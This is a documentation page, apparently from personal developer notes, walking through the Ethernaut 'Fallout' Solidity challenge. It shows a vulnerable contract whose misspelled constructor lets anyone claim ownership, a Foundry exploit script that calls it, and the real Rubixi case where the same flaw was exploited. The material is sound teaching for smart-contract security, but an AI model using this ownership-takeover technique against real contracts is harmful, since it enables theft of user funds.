Eridian
eridian.xyzx.comGitHub
  • ๐Ÿ“–Eridian Docs
  • Ethereum Dev
    • โœ๏ธEthereum Notes
      • ๐ŸŽ›๏ธTechnical Basics
      • ๐ŸชงEthereum Addresses
      • ๐Ÿ“šEthereum State Explained
      • โ›ฝGas Fees Explained
    • ๐Ÿ”งUseful Tools
      • โ˜๏ธEthers
      • *๏ธโƒฃEthernal
    • ๐Ÿ“Solidity Notes
      • โ”Interview Questions
        • ๐ŸŸข1. Easy - Interview Questions
        • ๐ŸŸ 2. Medium - Interview Questions
        • ๐ŸŸก3. Hard - Interview Questions
        • ๐Ÿ”ด4. Advanced - Interview Questions
      • ๐Ÿ’กNote Ideas
      • ABI
      • abi.encodePacked
      • Abstract Contracts
      • Arrays
      • Casting
      • CEI - Checks, Effects, Interactions
      • Comments (NATSPEC)
      • Constructor
      • Contract Structure & Versions
      • Data - Storage vs Memory
      • Data - Storage Layout
      • Enum
      • Errors (require & revert)
      • Events
      • EVM Opcodes
      • External Contract Interaction
      • ๐Ÿ—๏ธExternal Dependencies
      • Functions
      • Function Modifiers
      • If / Else / For / While Loops
      • Inheritance
      • Interfaces
      • Keccak256
      • Library
      • Mappings
      • msg.sender
      • Objects & Types
      • OpenZeppelin
      • Payable
      • Public State Variable vs Function
      • Receive & Fallback
      • Security
      • Self Destruct
      • Send ETH (transfer, send, call)
      • Stack Too Deep
      • Structs
      • Style Guide
      • Time Units
      • Try / Catch
      • Typecasting
      • Using Directive
      • Variables, Consts & Immutable
      • Withdraws
    • โš’๏ธFoundry Notes
      • ๐Ÿ“–Docs & GitHub Pages
      • ๐ŸคUseful Commands
        • ๐Ÿ”จAnvil
        • ๐Ÿช„Cast
        • ๐Ÿ”ฅForge
      • ๐ŸงชTests
        • Cheatcodes
      • ๐Ÿ“Useful Scripts
        • Deploy Contract Using Hex
    • ๐Ÿ‘พDeFi Challenges
      • ๐Ÿ‘จโ€๐Ÿš€Ethernaut
        • Ethernaut - Template
        • Level 1 - Fallback โบ
        • Level 2 - Fallout โบ
        • Level 3 - Coin Flip โบโบ
        • Level 4 - Telephone โบ
        • Level 5 - Token โบโบ
        • Level 6 - Delegation โบโบ
        • Level 7 - Force โบโบโบ
        • Level 8 - Vault โบโบ
        • Level 9 - King โบโบโบ
        • Level 10 - Re-entrancy โบโบโบ
        • Level 11 - Elevator โบโบ
        • Level 12 - Privacy โบโบโบ
        • Level 13 - Gatekeeper 1 โบโบโบโบ
        • Level 14 - Gatekeeper 2 โบโบโบ
        • Level 15 - Naught Coin โบโบโบ
        • Level 16 - Preservation โบโบโบโบ
        • Level 17 - Recovery โบโบโบ
        • Level 18 - Magic Number โบโบโบ
        • Level 19 - Alien Codex โบโบโบโบ
        • Level 20 - Denial โบโบโบ
        • Level 21 - Shop โบโบ
        • Level 22 - Dex โบโบ
        • Level 23 - Dex Two โบโบ
        • Level 24 - Puzzle Wallet โบโบโบโบ
        • Level 25 - Motorbike โบโบโบ
        • Level 26 - DoubleEntryPoint โบโบ
        • Level 27 - Good Samaritan โบโบโบ
        • Level 28 - Gatekeeper 3 โบโบโบ
        • Level 29 - Switch โบโบโบโบ
        • Level 30 - Higher Order โบโบโบโบ
        • Level 31 - Stake โบโบโบ
      • ๐Ÿ’ธDamn Vulnerable DeFi
    • ๐Ÿ”Auditing
      • ๐Ÿ—ž๏ธExploit Resources
      • ๐Ÿ”งAudit Tools
    • ๐Ÿค–MEV
  • Infrastructure Docs
    • ๐Ÿ’ปHardware
    • ๐ŸงLinux
      • ๐Ÿ“–Linux Glossary
      • โŒจ๏ธLinux Commands
      • ๐Ÿ’พInstallation
      • ๐Ÿ—๏ธMaintenance
      • ๐Ÿ–ฅ๏ธUbuntu Desktop
      • ๐Ÿ›œZeroTier
      • ๐ŸŽž๏ธTMUX
      • ๐Ÿ”ตBluetooth
    • โ›“๏ธEthereum Clients
      • โš™๏ธExecution Clients
        • โ›๏ธGeth
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
        • ๐ŸปErigon
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
        • ๐ŸงถBesu
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
      • ๐ŸคBeacon Clients
        • ๐Ÿ’กLighthouse
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
        • ๐Ÿช…Teku
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
      • ๐Ÿ’ŽValidator Clients
        • ๐Ÿ’กLighthouse
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
      • โž•L2 Clients
        • ๐Ÿ”ตBase
          • ๐Ÿ’พInstallation
          • โŒจ๏ธUseful Commands
          • ๐Ÿ—๏ธMaintenance
      • ๐Ÿ’ฐMEV Boost
        • ๐Ÿ’พInstallation
        • ๐Ÿ—๏ธMaintenance
    • ๐ŸšจAlerting and Monitoring
      • ๐Ÿ”ฅPrometheus
      • ๐ŸŒก๏ธHealthChecks.io
      • ๐Ÿ“ŸPagerDuty
  • General Dev
    • ๐Ÿ’พGit Notes
      • Repos
      • Committing changes
      • Branches
      • Merging & Rebasing
      • PRs
Powered by GitBook
On this page
  • Level Setup
  • Level Contract
  • Exploit
  • Completion Message
  • Notes
Edit on GitHub
  1. Ethereum Dev
  2. DeFi Challenges
  3. Ethernaut

Level 2 - Fallout โบ

Last updated 9 months ago

Level Setup

Claim ownership of the contract below to complete this level.

Things that might help

  • Solidity Remix IDE

Level Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

Exploit

The contract uses an old method of defining the constructor by (attempting) to set it as the same name as the contract. In this instance, they made a mistake and there's a typo on the "constructor" which means it's different from the contract name, and therefore wasn't run on contract creation and can be run by anyone.

  1. Call the function either using an interface or a .call with the function signature.

make anvil-exploit-level-2

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
make holesky-exploit-level-2

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";

interface IFallout {
    function Fal1out() external payable;
}

// ================================================================
// โ”‚                      LEVEL 2 - FALLOUT                       โ”‚
// ================================================================
contract Exploit is Script, HelperFunctions {
    function run() public {
        address targetContractAddress = getInstanceAddress();
        IFallout targetContract = IFallout(targetContractAddress);

        vm.startBroadcast();
        targetContract.Fal1out{value: 0}();
        vm.stopBroadcast();
    }
}

// contract Exploit is Script, GetInstanceAddress {
//     function run() public {
//         address targetContractAddress = getInstanceAddress();

//         // Function signature
//         bytes memory payload = abi.encodeWithSignature("Fal1out()");

//         vm.startBroadcast();
//         (bool success, ) = targetContractAddress.call{value: 0}(payload);
//         require(success, "Transaction failed");
//         vm.stopBroadcast();
//     }
// }
  1. Submit instance... ๐Ÿฅณ

Completion Message

That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right?

Well... Not quite.

The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract:

contract Rubixi {
  address private owner;
  function DynamicPyramid() { owner = msg.sender; }
  function collectAllFees() { owner.transfer(this.balance) }
  ...

This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in smartcontractland.

Notes

  • Even though this contract uses v0.6.0 this mistake still happened.

This exploit occurred because before Solidity v0.5.0 it was not mandatory to name the constructor constructor. This was updated with a .

Exploited contract:

๐Ÿ‘พ
๐Ÿ‘จโ€๐Ÿš€
breaking change in the v0.5.0 release
https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be
The EthernautOpenZeppelin
Logo
ethernaut/contracts/src/levels/Fallout.sol at a89c8f7832258655c09fde16e6602c78e5e99dbd ยท OpenZeppelin/ethernautGitHub
ethernaut-openzeppelin-hacks/level_2_Fallout.md at e936301859334383d568a614084917100319205e ยท nvnx7/ethernaut-openzeppelin-hacksGitHub
Logo
Logo